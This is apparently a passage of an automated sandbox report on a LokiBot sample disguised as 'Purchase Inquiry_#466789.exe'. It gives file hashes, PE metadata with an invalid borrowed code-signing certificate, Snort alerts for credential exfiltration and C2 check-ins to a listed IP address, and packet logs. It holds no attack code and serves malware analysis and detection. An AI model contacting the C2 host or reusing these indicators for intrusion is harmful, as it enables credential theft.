SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Roaming\188E93\31437F.lck

Download File

Process:	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2246122658-3693405117-2476756634-1002\bc49718863ee53e026d805ec372039e9_9e146be9-c76a-4720-bcdb-53011b87bd06

Download File

Process:	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe
File Type:	data
Category:	dropped
Size (bytes):	46
Entropy (8bit):	1.0424600748477153
Encrypted:	false
SSDEEP:	3:/lbq:4
MD5:	8CB7B7F28464C3FCBAE8A10C46204572
SHA1:	767FE80969EC2E67F54CC1B6D383C76E7859E2DE
SHA-256:	ED5E3DCEB0A1D68803745084985051C1ED41E11AC611DF8600B1A471F3752E96
SHA-512:	9BA84225FDB6C0FD69AD99B69824EC5B8D2B8FD3BB4610576DB4AD79ADF381F7F82C4C9522EC89F7171907577FAF1B4E70B82364F516CF8BBFED99D2ADEA43AF
Malicious:	false
Reputation:	high, very likely benign file
Preview:	........................................user.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.964456125425544
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Purchase Inquiry_#466789.exe
File size:	534'536 bytes
MD5:	5eece0f9333721c96803f39becae9fa3
SHA1:	4508905c92a34c55d3b9b9fa5700c6b640b9a200
SHA256:	706a564a593479d9948fe8cfe542c4a788a80e3d08c38dc888179c5340023a08
SHA512:	09922db0f9814db2398c2f468a56168e36d2b272aafd401dfc607ab78d3599552843cafab443bc6d64997d64fe51774b50adfe952a1938e70390df2d71602144
SSDEEP:	12288:EOoSQi8LkpEauXFg5bb4P2mvtjB7NAtAHyDBWjUNoxsdlh62b7e7kR:7LvjE9XFxP2mVN7quHydWjUeWLOe
TLSH:	7BB4228232ED599BD81E99F420F5485A47B1FA069C14E7DA3CFC838E51E7F584B043AB
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....HMf..............0.............Z.... ........@.. .......................@............@................................

File Icon


Icon Hash:	c04e363636261032

Static PE Info

General

Entrypoint:	0x47ff5a
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x664D48E7 [Wed May 22 01:22:47 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=COMODO RSA Code Signing CA, O=COMODO CA Limited, L=Salford, S=Greater Manchester, C=GB
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	13/11/2018 00:00:00 08/11/2021 23:59:59
Subject Chain	CN=Simon Tatham, O=Simon Tatham, L=Cambridge, S=Cambridgeshire, C=GB
Version:	3
Thumbprint MD5:	DABD77E44EF6B3BB91740FA46696B779
Thumbprint SHA-1:	5B9E273CF11941FD8C6BE3F038C4797BBE884268
Thumbprint SHA-256:	4CD3325617EBB63319BA6E8F2A74B0B8CCA58920B48D8026EBCA2C756630D570
Serial:	7C1118CBBADC95DA3752C46E47A27438

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 00h
add eax, dword ptr [eax]
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax+0000000Eh], al
pushad
add byte ptr [eax], al
adc byte ptr [eax], 00000000h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7ff08	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x80000	0xdf0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x7f200	0x3608
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x82000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x7df60	0x7e000	d6df129deddc5e6de5499d05d900fc41	False	0.9638245597718254	data	7.973562930298665	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x80000	0xdf0	0xe00	a8f2fb670d4b4dc3288f87eb8491d7c9	False	0.7229352678571429	data	6.395316779163098	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x82000	0xc	0x200	3006d5fc7a6bf0b33230bf0db546ea6a	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x80100	0x7f0	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9281496062992126
RT_GROUP_ICON	0x80900	0x14	data	1.05
RT_VERSION	0x80924	0x2cc	data	0.42877094972067037
RT_MANIFEST	0x80c00	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
05/27/24-08:32:00.314607	TCP	2024312	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1	49735	80	192.168.2.4	45.61.137.215
05/27/24-08:32:03.034243	TCP	2025381	ET TROJAN LokiBot Checkin	49737	80	192.168.2.4	45.61.137.215
05/27/24-08:32:14.993058	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49742	80	192.168.2.4	45.61.137.215
05/27/24-08:32:05.506034	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49739	80	192.168.2.4	45.61.137.215
05/27/24-08:32:10.321376	TCP	2025381	ET TROJAN LokiBot Checkin	49741	80	192.168.2.4	45.61.137.215
05/27/24-08:32:14.993058	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49742	80	192.168.2.4	45.61.137.215
05/27/24-08:32:10.321376	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49741	80	192.168.2.4	45.61.137.215
05/27/24-08:32:10.321376	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49741	80	192.168.2.4	45.61.137.215
05/27/24-08:32:00.314607	TCP	2024317	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2	49735	80	192.168.2.4	45.61.137.215
05/27/24-08:32:00.314607	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49735	80	192.168.2.4	45.61.137.215
05/27/24-08:32:07.737924	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49740	80	192.168.2.4	45.61.137.215
05/27/24-08:32:05.506034	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49739	80	192.168.2.4	45.61.137.215
05/27/24-08:32:05.506034	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49739	80	192.168.2.4	45.61.137.215
05/27/24-08:32:07.737924	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49740	80	192.168.2.4	45.61.137.215
05/27/24-08:32:14.993058	TCP	2025381	ET TROJAN LokiBot Checkin	49742	80	192.168.2.4	45.61.137.215
05/27/24-08:32:03.034243	TCP	2024317	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2	49737	80	192.168.2.4	45.61.137.215
05/27/24-08:32:05.506034	TCP	2025381	ET TROJAN LokiBot Checkin	49739	80	192.168.2.4	45.61.137.215
05/27/24-08:32:07.737924	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49740	80	192.168.2.4	45.61.137.215
05/27/24-08:32:10.321376	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49741	80	192.168.2.4	45.61.137.215
05/27/24-08:32:00.314607	TCP	2025381	ET TROJAN LokiBot Checkin	49735	80	192.168.2.4	45.61.137.215
05/27/24-08:32:03.034243	TCP	2024312	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1	49737	80	192.168.2.4	45.61.137.215
05/27/24-08:32:03.034243	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49737	80	192.168.2.4	45.61.137.215
05/27/24-08:32:07.737924	TCP	2025381	ET TROJAN LokiBot Checkin	49740	80	192.168.2.4	45.61.137.215
05/27/24-08:32:14.993058	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49742	80	192.168.2.4	45.61.137.215

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 27, 2024 08:32:00.307508945 CEST	49735	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:00.312453032 CEST	80	49735	45.61.137.215	192.168.2.4
May 27, 2024 08:32:00.312568903 CEST	49735	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:00.314606905 CEST	49735	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:00.319617033 CEST	80	49735	45.61.137.215	192.168.2.4
May 27, 2024 08:32:00.319683075 CEST	49735	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:00.324693918 CEST	80	49735	45.61.137.215	192.168.2.4
May 27, 2024 08:32:02.352104902 CEST	80	49735	45.61.137.215	192.168.2.4
May 27, 2024 08:32:02.352180958 CEST	80	49735	45.61.137.215	192.168.2.4
May 27, 2024 08:32:02.352236032 CEST	80	49735	45.61.137.215	192.168.2.4
May 27, 2024 08:32:02.352271080 CEST	80	49735	45.61.137.215	192.168.2.4
May 27, 2024 08:32:02.352305889 CEST	80	49735	45.61.137.215	192.168.2.4
May 27, 2024 08:32:02.352339029 CEST	80	49735	45.61.137.215	192.168.2.4
May 27, 2024 08:32:02.352364063 CEST	49735	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:02.352364063 CEST	49735	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:02.352375031 CEST	80	49735	45.61.137.215	192.168.2.4
May 27, 2024 08:32:02.352390051 CEST	49735	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:02.352410078 CEST	80	49735	45.61.137.215	192.168.2.4
May 27, 2024 08:32:02.352446079 CEST	80	49735	45.61.137.215	192.168.2.4
May 27, 2024 08:32:02.352461100 CEST	49735	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:02.352482080 CEST	80	49735	45.61.137.215	192.168.2.4
May 27, 2024 08:32:02.352531910 CEST	49735	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:02.357697964 CEST	80	49735	45.61.137.215	192.168.2.4
May 27, 2024 08:32:02.357734919 CEST	80	49735	45.61.137.215	192.168.2.4
May 27, 2024 08:32:02.357770920 CEST	80	49735	45.61.137.215	192.168.2.4
May 27, 2024 08:32:02.357803106 CEST	49735	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:02.357805967 CEST	80	49735	45.61.137.215	192.168.2.4
May 27, 2024 08:32:02.357865095 CEST	49735	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:02.359965086 CEST	49735	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:03.024728060 CEST	49737	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:03.029608011 CEST	80	49737	45.61.137.215	192.168.2.4
May 27, 2024 08:32:03.029679060 CEST	49737	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:03.034243107 CEST	49737	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:03.039164066 CEST	80	49737	45.61.137.215	192.168.2.4
May 27, 2024 08:32:03.039221048 CEST	49737	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:03.044672012 CEST	80	49737	45.61.137.215	192.168.2.4
May 27, 2024 08:32:05.257942915 CEST	80	49737	45.61.137.215	192.168.2.4
May 27, 2024 08:32:05.258101940 CEST	80	49737	45.61.137.215	192.168.2.4
May 27, 2024 08:32:05.258110046 CEST	80	49737	45.61.137.215	192.168.2.4
May 27, 2024 08:32:05.258127928 CEST	80	49737	45.61.137.215	192.168.2.4
May 27, 2024 08:32:05.258141994 CEST	80	49737	45.61.137.215	192.168.2.4
May 27, 2024 08:32:05.258153915 CEST	80	49737	45.61.137.215	192.168.2.4
May 27, 2024 08:32:05.258172989 CEST	80	49737	45.61.137.215	192.168.2.4
May 27, 2024 08:32:05.258182049 CEST	80	49737	45.61.137.215	192.168.2.4
May 27, 2024 08:32:05.258199930 CEST	80	49737	45.61.137.215	192.168.2.4
May 27, 2024 08:32:05.258208036 CEST	49737	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:05.258224010 CEST	80	49737	45.61.137.215	192.168.2.4
May 27, 2024 08:32:05.258285999 CEST	49737	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:05.258307934 CEST	49737	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:05.258411884 CEST	49737	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:05.263094902 CEST	80	49737	45.61.137.215	192.168.2.4
May 27, 2024 08:32:05.263164043 CEST	80	49737	45.61.137.215	192.168.2.4
May 27, 2024 08:32:05.263174057 CEST	80	49737	45.61.137.215	192.168.2.4
May 27, 2024 08:32:05.263230085 CEST	49737	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:05.263237953 CEST	49737	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:05.484787941 CEST	49739	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:05.490361929 CEST	80	49739	45.61.137.215	192.168.2.4
May 27, 2024 08:32:05.490565062 CEST	49739	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:05.506033897 CEST	49739	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:05.511159897 CEST	80	49739	45.61.137.215	192.168.2.4
May 27, 2024 08:32:05.511282921 CEST	49739	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:05.516554117 CEST	80	49739	45.61.137.215	192.168.2.4
May 27, 2024 08:32:07.575625896 CEST	80	49739	45.61.137.215	192.168.2.4
May 27, 2024 08:32:07.575659037 CEST	80	49739	45.61.137.215	192.168.2.4
May 27, 2024 08:32:07.575675964 CEST	80	49739	45.61.137.215	192.168.2.4
May 27, 2024 08:32:07.575684071 CEST	80	49739	45.61.137.215	192.168.2.4
May 27, 2024 08:32:07.575700045 CEST	80	49739	45.61.137.215	192.168.2.4
May 27, 2024 08:32:07.575715065 CEST	80	49739	45.61.137.215	192.168.2.4
May 27, 2024 08:32:07.575723886 CEST	49739	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:07.575730085 CEST	80	49739	45.61.137.215	192.168.2.4
May 27, 2024 08:32:07.575745106 CEST	80	49739	45.61.137.215	192.168.2.4
May 27, 2024 08:32:07.575762033 CEST	80	49739	45.61.137.215	192.168.2.4
May 27, 2024 08:32:07.575777054 CEST	80	49739	45.61.137.215	192.168.2.4
May 27, 2024 08:32:07.575782061 CEST	49739	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:07.575803041 CEST	49739	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:07.575824022 CEST	49739	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:07.576214075 CEST	49739	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:07.580825090 CEST	80	49739	45.61.137.215	192.168.2.4
May 27, 2024 08:32:07.580851078 CEST	80	49739	45.61.137.215	192.168.2.4
May 27, 2024 08:32:07.580877066 CEST	49739	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:07.580904007 CEST	49739	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:07.729507923 CEST	49740	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:07.734765053 CEST	80	49740	45.61.137.215	192.168.2.4
May 27, 2024 08:32:07.734886885 CEST	49740	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:07.737924099 CEST	49740	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:07.742826939 CEST	80	49740	45.61.137.215	192.168.2.4
May 27, 2024 08:32:07.742906094 CEST	49740	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:07.748194933 CEST	80	49740	45.61.137.215	192.168.2.4
May 27, 2024 08:32:09.994904041 CEST	80	49740	45.61.137.215	192.168.2.4
May 27, 2024 08:32:09.994968891 CEST	80	49740	45.61.137.215	192.168.2.4
May 27, 2024 08:32:09.994980097 CEST	80	49740	45.61.137.215	192.168.2.4
May 27, 2024 08:32:09.994993925 CEST	80	49740	45.61.137.215	192.168.2.4
May 27, 2024 08:32:09.995004892 CEST	80	49740	45.61.137.215	192.168.2.4
May 27, 2024 08:32:09.995038033 CEST	49740	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:09.995135069 CEST	80	49740	45.61.137.215	192.168.2.4
May 27, 2024 08:32:09.995166063 CEST	80	49740	45.61.137.215	192.168.2.4
May 27, 2024 08:32:09.995176077 CEST	80	49740	45.61.137.215	192.168.2.4
May 27, 2024 08:32:09.995244980 CEST	49740	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:09.995244980 CEST	49740	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:09.995244980 CEST	49740	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:09.995338917 CEST	80	49740	45.61.137.215	192.168.2.4
May 27, 2024 08:32:09.995378017 CEST	80	49740	45.61.137.215	192.168.2.4
May 27, 2024 08:32:09.995446920 CEST	49740	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:10.000710964 CEST	80	49740	45.61.137.215	192.168.2.4
May 27, 2024 08:32:10.000720978 CEST	80	49740	45.61.137.215	192.168.2.4
May 27, 2024 08:32:10.000730991 CEST	80	49740	45.61.137.215	192.168.2.4
May 27, 2024 08:32:10.000884056 CEST	49740	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:10.002631903 CEST	49740	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:10.313471079 CEST	49741	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:10.318339109 CEST	80	49741	45.61.137.215	192.168.2.4
May 27, 2024 08:32:10.318417072 CEST	49741	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:10.321376085 CEST	49741	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:10.326211929 CEST	80	49741	45.61.137.215	192.168.2.4
May 27, 2024 08:32:10.326277971 CEST	49741	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:10.331123114 CEST	80	49741	45.61.137.215	192.168.2.4
May 27, 2024 08:32:12.444559097 CEST	80	49741	45.61.137.215	192.168.2.4
May 27, 2024 08:32:12.444612026 CEST	80	49741	45.61.137.215	192.168.2.4
May 27, 2024 08:32:12.444663048 CEST	80	49741	45.61.137.215	192.168.2.4
May 27, 2024 08:32:12.444670916 CEST	49741	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:12.444695950 CEST	80	49741	45.61.137.215	192.168.2.4
May 27, 2024 08:32:12.444730043 CEST	80	49741	45.61.137.215	192.168.2.4
May 27, 2024 08:32:12.444757938 CEST	49741	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:12.444762945 CEST	80	49741	45.61.137.215	192.168.2.4
May 27, 2024 08:32:12.444794893 CEST	80	49741	45.61.137.215	192.168.2.4
May 27, 2024 08:32:12.444811106 CEST	49741	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:12.444823980 CEST	80	49741	45.61.137.215	192.168.2.4
May 27, 2024 08:32:12.444854021 CEST	80	49741	45.61.137.215	192.168.2.4
May 27, 2024 08:32:12.444869041 CEST	49741	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:12.444886923 CEST	80	49741	45.61.137.215	192.168.2.4
May 27, 2024 08:32:12.444930077 CEST	49741	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:12.444952011 CEST	49741	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:12.449954987 CEST	80	49741	45.61.137.215	192.168.2.4
May 27, 2024 08:32:12.449990034 CEST	80	49741	45.61.137.215	192.168.2.4
May 27, 2024 08:32:12.450022936 CEST	49741	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:12.450022936 CEST	80	49741	45.61.137.215	192.168.2.4
May 27, 2024 08:32:12.450057030 CEST	80	49741	45.61.137.215	192.168.2.4
May 27, 2024 08:32:12.450059891 CEST	49741	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:12.450084925 CEST	49741	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:12.450103998 CEST	49741	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:14.968158960 CEST	49742	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:14.973602057 CEST	80	49742	45.61.137.215	192.168.2.4
May 27, 2024 08:32:14.973685980 CEST	49742	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:14.993057966 CEST	49742	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:14.999430895 CEST	80	49742	45.61.137.215	192.168.2.4
May 27, 2024 08:32:14.999521017 CEST	49742	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:15.005393028 CEST	80	49742	45.61.137.215	192.168.2.4
May 27, 2024 08:32:17.230618954 CEST	80	49742	45.61.137.215	192.168.2.4
May 27, 2024 08:32:17.230633020 CEST	80	49742	45.61.137.215	192.168.2.4
May 27, 2024 08:32:17.230647087 CEST	80	49742	45.61.137.215	192.168.2.4
May 27, 2024 08:32:17.230663061 CEST	80	49742	45.61.137.215	192.168.2.4
May 27, 2024 08:32:17.230678082 CEST	80	49742	45.61.137.215	192.168.2.4
May 27, 2024 08:32:17.230691910 CEST	80	49742	45.61.137.215	192.168.2.4
May 27, 2024 08:32:17.230705976 CEST	80	49742	45.61.137.215	192.168.2.4
May 27, 2024 08:32:17.230731964 CEST	80	49742	45.61.137.215	192.168.2.4
May 27, 2024 08:32:17.230743885 CEST	80	49742	45.61.137.215	192.168.2.4
May 27, 2024 08:32:17.230748892 CEST	49742	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:17.230765104 CEST	80	49742	45.61.137.215	192.168.2.4
May 27, 2024 08:32:17.230859041 CEST	49742	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:17.231091022 CEST	49742	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:17.231168032 CEST	80	49742	45.61.137.215	192.168.2.4
May 27, 2024 08:32:17.231241941 CEST	49742	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:17.243591070 CEST	80	49742	45.61.137.215	192.168.2.4
May 27, 2024 08:32:17.243695021 CEST	80	49742	45.61.137.215	192.168.2.4
May 27, 2024 08:32:17.243712902 CEST	80	49742	45.61.137.215	192.168.2.4
May 27, 2024 08:32:17.243729115 CEST	49742	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:17.243757963 CEST	80	49742	45.61.137.215	192.168.2.4
May 27, 2024 08:32:17.243797064 CEST	80	49742	45.61.137.215	192.168.2.4
May 27, 2024 08:32:17.243832111 CEST	49742	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:17.243916988 CEST	49742	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:17.244271994 CEST	80	49742	45.61.137.215	192.168.2.4
May 27, 2024 08:32:17.244327068 CEST	49742	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:17.244386911 CEST	80	49742	45.61.137.215	192.168.2.4
May 27, 2024 08:32:17.244421005 CEST	80	49742	45.61.137.215	192.168.2.4
May 27, 2024 08:32:17.244468927 CEST	49742	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:17.244504929 CEST	80	49742	45.61.137.215	192.168.2.4
May 27, 2024 08:32:17.244556904 CEST	49742	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:17.244602919 CEST	80	49742	45.61.137.215	192.168.2.4
May 27, 2024 08:32:17.244652033 CEST	49742	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:17.245256901 CEST	80	49742	45.61.137.215	192.168.2.4
May 27, 2024 08:32:17.245310068 CEST	49742	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:17.245599985 CEST	80	49742	45.61.137.215	192.168.2.4
May 27, 2024 08:32:17.245646954 CEST	49742	80	192.168.2.4	45.61.137.215
May 27, 2024 08:32:17.245685101 CEST	80	49742	45.61.137.215	192.168.2.4
